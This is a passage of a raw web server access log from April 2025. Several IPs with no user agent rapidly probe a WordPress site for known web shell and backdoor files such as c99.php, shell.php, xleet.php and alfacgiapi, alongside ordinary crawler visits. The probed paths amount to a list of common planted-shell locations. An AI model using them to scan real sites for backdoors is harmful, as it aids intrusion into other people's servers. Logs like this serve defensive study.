-0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:43 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:44 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:45 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:45 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:46 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:47 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:47 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:48 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:48 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:49 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:50 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:50 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:51 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:52 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:53 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:53 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:54 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:55 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:55 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:56 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:57 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:57 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:58 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:59 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:38:59 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:00 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:00 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:01 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:02 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:03 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:04 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:04 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:05 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:05 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:06 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:06 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:07 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:08 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:08 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:09 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:10 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:10 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:11 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:12 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:13 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:13 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:14 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:14 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:15 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:16 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:17 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:17 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:18 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:19 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:19 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:20 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:21 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:22 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:22 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:23 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:24 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:24 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:25 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:26 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:27 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:28 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:28 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:29 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:30 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:31 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:33 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:34 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:34 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:35 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:36 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:37 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:37 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:38 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:38 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:39 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:39 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:40 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:41 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:41 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:42 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:42 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:43 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:44 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:44 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:45 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:46 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:47 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:47 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:48 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:48 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:49 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:50 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:51 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:51 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:52 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:53 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:54 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:54 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:55 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:56 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:56 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:57 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:57 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:58 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:39:59 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:00 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:01 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:02 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:03 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:04 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:05 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:06 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:07 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:08 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:11 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:13 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:14 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:16 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:18 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:19 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:20 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:21 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:21 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:22 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:23 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:23 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:24 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:24 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:25 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:26 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:26 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:27 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:28 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:28 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:29 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:29 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:30 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:31 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:31 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:32 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:32 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:33 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:34 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:34 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:35 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:36 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:36 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:37 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:37 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:38 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:39 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:39 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:40 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:40 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:41 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:41 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.243.23 - - [22/Apr/2025:00:40:42 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 114.119.145.169 - - [22/Apr/2025:00:44:09 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 85.208.98.18 - - [22/Apr/2025:01:10:44 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)" 113.116.195.122 - - [22/Apr/2025:01:33:35 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [22/Apr/2025:01:33:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 66.249.79.99 - - [22/Apr/2025:01:53:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [22/Apr/2025:01:53:05 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 13.90.211.168 - - [22/Apr/2025:01:55:19 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:24 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:26 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:29 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:31 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:33 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:34 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:34 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:35 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:36 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:37 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:38 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:38 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:39 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:42 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:44 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:45 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:47 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:48 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:49 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:50 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:51 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:52 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:53 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:53 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:54 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:55 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:55 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:55 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:56 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:56 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:57 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:58 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:55:59 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:00 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:02 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:02 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:02 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:03 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:03 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:04 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:05 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:05 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:06 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:07 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:08 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:09 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:09 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:10 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:12 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:13 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:14 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:56:15 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - 